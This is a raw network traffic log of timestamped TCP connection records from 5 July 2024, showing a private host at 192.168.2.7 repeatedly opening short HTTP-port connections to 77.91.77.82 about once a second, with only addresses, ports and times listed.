Jul 5, 2024 06:25:51.296027899 CEST	51664	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:51.300117970 CEST	51664	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:51.300534010 CEST	51665	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:51.305337906 CEST	80	51664	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:51.305387020 CEST	51664	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:51.305493116 CEST	80	51665	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:51.305588961 CEST	51665	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:51.305903912 CEST	51665	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:51.310691118 CEST	80	51665	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:52.055946112 CEST	80	51665	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:52.063651085 CEST	51665	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:52.170176029 CEST	51665	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:52.170176029 CEST	51666	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:52.175035000 CEST	80	51666	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:52.175549030 CEST	80	51665	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:52.175710917 CEST	51665	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:52.175710917 CEST	51666	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:52.179800987 CEST	51666	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:52.184580088 CEST	80	51666	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:52.907176971 CEST	80	51666	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:52.907248020 CEST	51666	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:52.910924911 CEST	51666	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:52.911339045 CEST	51667	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:52.916150093 CEST	80	51667	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:52.916207075 CEST	51667	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:52.916325092 CEST	80	51666	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:52.916374922 CEST	51666	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:52.916382074 CEST	51667	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:52.921169043 CEST	80	51667	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:53.655503035 CEST	80	51667	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:53.655569077 CEST	51667	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:53.763667107 CEST	51667	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:53.763967037 CEST	51668	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:53.768831968 CEST	80	51668	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:53.768899918 CEST	51668	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:53.769331932 CEST	80	51667	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:53.769393921 CEST	51667	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:53.769505978 CEST	51668	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:53.774286032 CEST	80	51668	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:54.469847918 CEST	80	51668	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:54.469938993 CEST	51668	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:54.472527981 CEST	51668	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:54.472873926 CEST	51669	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:54.477658033 CEST	80	51668	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:54.477669954 CEST	80	51669	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:54.477757931 CEST	51669	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:54.477761030 CEST	51668	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:54.478257895 CEST	51669	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:54.483000994 CEST	80	51669	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:55.185667038 CEST	80	51669	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:55.185728073 CEST	51669	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:55.296485901 CEST	51669	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:55.296868086 CEST	51670	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:55.301670074 CEST	80	51669	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:55.301687002 CEST	80	51670	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:55.301712990 CEST	51669	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:55.301759005 CEST	51670	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:55.301964045 CEST	51670	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:55.306687117 CEST	80	51670	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:56.018255949 CEST	80	51670	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:56.019848108 CEST	51670	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:56.022614956 CEST	51670	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:56.022634029 CEST	51671	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:56.028106928 CEST	80	51671	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:56.028461933 CEST	80	51670	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:56.031743050 CEST	51671	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:56.031744003 CEST	51670	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:56.031959057 CEST	51671	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:56.036721945 CEST	80	51671	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:56.758388996 CEST	80	51671	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:56.761696100 CEST	51671	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:56.874955893 CEST	51671	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:56.875555038 CEST	51672	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:56.880223989 CEST	80	51671	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:56.880281925 CEST	51671	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:56.880353928 CEST	80	51672	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:56.880425930 CEST	51672	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:56.880798101 CEST	51672	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:56.885612965 CEST	80	51672	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:57.632307053 CEST	80	51672	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:57.632368088 CEST	51672	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:57.636092901 CEST	51672	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:57.636445999 CEST	51673	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:57.641314030 CEST	80	51672	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:57.641367912 CEST	51672	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:57.641427040 CEST	80	51673	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:57.641485929 CEST	51673	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:57.641685963 CEST	51673	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:57.646487951 CEST	80	51673	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:58.336957932 CEST	80	51673	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:58.337668896 CEST	51673	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:58.453599930 CEST	51674	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:58.453599930 CEST	51673	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:58.458550930 CEST	80	51674	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:58.458787918 CEST	80	51673	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:58.458892107 CEST	51674	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:58.458892107 CEST	51673	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:58.459110022 CEST	51674	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:58.463881969 CEST	80	51674	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:59.171161890 CEST	80	51674	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:59.171224117 CEST	51674	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:59.175307035 CEST	51674	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:59.175815105 CEST	51675	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:59.180555105 CEST	80	51674	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:59.180605888 CEST	51674	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:59.180608988 CEST	80	51675	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:59.180725098 CEST	51675	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:59.181050062 CEST	51675	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:59.185833931 CEST	80	51675	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:59.899471045 CEST	80	51675	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:59.899776936 CEST	51675	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:00.013860941 CEST	51676	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:00.013963938 CEST	51675	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:00.018795013 CEST	80	51676	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:00.019963026 CEST	51676	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:00.021147013 CEST	80	51675	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:00.021177053 CEST	51676	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:00.021261930 CEST	51675	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:00.025957108 CEST	80	51676	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:00.729557037 CEST	80	51676	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:00.731817007 CEST	51676	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:00.734575033 CEST	51676	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:00.734580994 CEST	51677	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:00.739404917 CEST	80	51677	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:00.739722013 CEST	80	51676	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:00.739784002 CEST	51676	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:00.739797115 CEST	51677	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:00.740010977 CEST	51677	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:00.744776964 CEST	80	51677	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:01.491774082 CEST	80	51677	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:01.491839886 CEST	51677	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:01.610410929 CEST	51677	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:01.610893011 CEST	51678	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:01.615736008 CEST	80	51678	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:01.615751028 CEST	80	51677	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:01.615814924 CEST	51678	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:01.615853071 CEST	51677	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:01.616168976 CEST	51678	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:01.620971918 CEST	80	51678	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:02.304800034 CEST	80	51678	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:02.304905891 CEST	51678	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:02.308444023 CEST	51678	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:02.308446884 CEST	51679	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:02.313222885 CEST	80	51679	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:02.313471079 CEST	51679	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:02.313510895 CEST	80	51678	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:02.313668013 CEST	51679	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:02.314057112 CEST	51678	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:02.318757057 CEST	80	51679	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:03.019815922 CEST	80	51679	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:03.019877911 CEST	51679	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:03.140228987 CEST	51679	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:03.140634060 CEST	51680	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:03.145400047 CEST	80	51680	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:03.145514965 CEST	51680	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:03.145641088 CEST	80	51679	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:03.145687103 CEST	51679	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:03.145828962 CEST	51680	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:03.150913954 CEST	80	51680	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:03.847465038 CEST	80	51680	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:03.847575903 CEST	51680	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:03.850744963 CEST	51680	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:03.851895094 CEST	51681	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:03.856276989 CEST	80	51680	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:03.856662035 CEST	80	51681	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:03.856777906 CEST	51681	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:03.856777906 CEST	51680	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:03.856975079 CEST	51681	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:03.861752033 CEST	80	51681	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:04.570722103 CEST	80	51681	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:04.570826054 CEST	51681	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:04.685867071 CEST	51681	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:04.686222076 CEST	51682	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:04.691117048 CEST	80	51682	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:04.691133022 CEST	80	51681	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:04.691226006 CEST	51681	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:04.691226006 CEST	51682	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:04.693629026 CEST	51682	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:04.698415995 CEST	80	51682	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:05.394443035 CEST	80	51682	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:05.394496918 CEST	51682	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:05.397834063 CEST	51682	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:05.398226023 CEST	51683	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:05.403057098 CEST	80	51682	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:05.403070927 CEST	80	51683	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:05.403105974 CEST	51682	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:05.403201103 CEST	51683	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:05.403321028 CEST	51683	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:05.408642054 CEST	80	51683	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:06.120228052 CEST	80	51683	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:06.120439053 CEST	51683	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:06.232628107 CEST	51683	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:06.232631922 CEST	51684	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:06.237649918 CEST	80	51684	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:06.238533020 CEST	80	51683	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:06.238698959 CEST	51684	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:06.238699913 CEST	51683	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:06.238956928 CEST	51684	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:06.243695974 CEST	80	51684	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:06.958287954 CEST	80	51684	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:06.958357096 CEST	51684	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:06.961544991 CEST	51684	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:06.961868048 CEST	51685	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:06.966692924 CEST	80	51685	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:06.966842890 CEST	51685	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:06.966886044 CEST	80	51684	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:06.966933012 CEST	51684	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:06.967127085 CEST	51685	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:06.971926928 CEST	80	51685	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:07.697930098 CEST	80	51685	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:07.697987080 CEST	51685	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:07.811533928 CEST	51685	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:07.811897993 CEST	51686	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:07.816685915 CEST	80	51686	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:07.816699982 CEST	80	51685	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:07.821755886 CEST	51686	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:07.821755886 CEST	51685	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:07.821942091 CEST	51686	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:07.826683044 CEST	80	51686	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:08.533660889 CEST	80	51686	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:08.537555933 CEST	51686	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:08.540734053 CEST	51686	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:08.540736914 CEST	51687	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:08.545547962 CEST	80	51687	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:08.545788050 CEST	80	51686	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:08.549706936 CEST	51687	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:08.549714088 CEST	51686	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:08.549977064 CEST	51687	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:08.554694891 CEST	80	51687	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:09.252001047 CEST	80	51687	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:09.252072096 CEST	51687	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:09.358468056 CEST	51687	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:09.358840942 CEST	51688	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:09.363622904 CEST	80	51687	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:09.363639116 CEST	80	51688	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:09.363693953 CEST	51687	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:09.363723993 CEST	51688	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:09.363841057 CEST	51688	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:09.368668079 CEST	80	51688	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:10.084779024 CEST	80	51688	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:10.085748911 CEST	51688	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:10.088650942 CEST	51688	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:10.088696957 CEST	51689	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:10.093523979 CEST	80	51689	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:10.093817949 CEST	80	51688	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:10.097714901 CEST	51688	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:10.097726107 CEST	51689	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:10.097938061 CEST	51689	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:10.102660894 CEST	80	51689	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:10.803039074 CEST	80	51689	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:10.803844929 CEST	51689	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:10.942883015 CEST	51689	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:10.943337917 CEST	51690	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:10.948092937 CEST	80	51689	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:10.948124886 CEST	80	51690	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:10.948172092 CEST	51689	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:10.948216915 CEST	51690	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:10.948502064 CEST	51690	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:10.953219891 CEST	80	51690	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:11.662127018 CEST	80	51690	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:11.662214994 CEST	51690	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:11.666357994 CEST	51690	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:11.666747093 CEST	51691	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:11.671631098 CEST	80	51691	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:11.671643019 CEST	80	51690	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:11.671695948 CEST	51691	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:11.671721935 CEST	51690	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:11.671968937 CEST	51691	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:11.676827908 CEST	80	51691	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:12.369177103 CEST	80	51691	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:12.369720936 CEST	51691	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:12.483146906 CEST	51691	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:12.483194113 CEST	51692	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:12.488184929 CEST	80	51692	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:12.488280058 CEST	51692	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:12.488600969 CEST	51692	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:12.488795042 CEST	80	51691	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:12.488868952 CEST	51691	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:12.493313074 CEST	80	51692	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:13.216003895 CEST	80	51692	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:13.216084003 CEST	51692	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:13.218986988 CEST	51692	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:13.219398022 CEST	51693	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:13.224307060 CEST	80	51693	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:13.224380970 CEST	51693	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:13.224400043 CEST	80	51692	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:13.224457026 CEST	51692	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:13.224669933 CEST	51693	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:13.229450941 CEST	80	51693	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:13.929927111 CEST	80	51693	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:13.933753014 CEST	51693	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:14.045263052 CEST	51693	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:14.047703981 CEST	51694	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:14.050466061 CEST	80	51693	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:14.050595045 CEST	51693	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:14.052531004 CEST	80	51694	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:14.052622080 CEST	51694	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:14.052911997 CEST	51694	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:14.057656050 CEST	80	51694	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:14.756010056 CEST	80	51694	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:14.756405115 CEST	51694	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:14.759330988 CEST	51694	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:14.759331942 CEST	51695	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:14.764138937 CEST	80	51695	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:14.764329910 CEST	51695	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:14.764364958 CEST	80	51694	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:14.764555931 CEST	51694	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:14.764556885 CEST	51695	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:14.769313097 CEST	80	51695	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:15.467183113 CEST	80	51695	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:15.467269897 CEST	51695	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:15.577018976 CEST	51695	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:15.577389002 CEST	51696	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:15.582250118 CEST	80	51695	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:15.582262993 CEST	80	51696	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:15.582293987 CEST	51695	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:15.582348108 CEST	51696	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:15.582483053 CEST	51696	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:15.587236881 CEST	80	51696	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:16.271713972 CEST	80	51696	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:16.271842957 CEST	51696	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:16.274516106 CEST	51696	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:16.274938107 CEST	51697	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:16.279715061 CEST	80	51696	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:16.279727936 CEST	80	51697	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:16.279791117 CEST	51696	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:16.279879093 CEST	51697	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:16.280076027 CEST	51697	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:16.284871101 CEST	80	51697	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:17.003684998 CEST	80	51697	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:17.003746033 CEST	51697	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:17.110255957 CEST	51697	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:17.111031055 CEST	51698	80	192.168.2.7	77.91.77.82
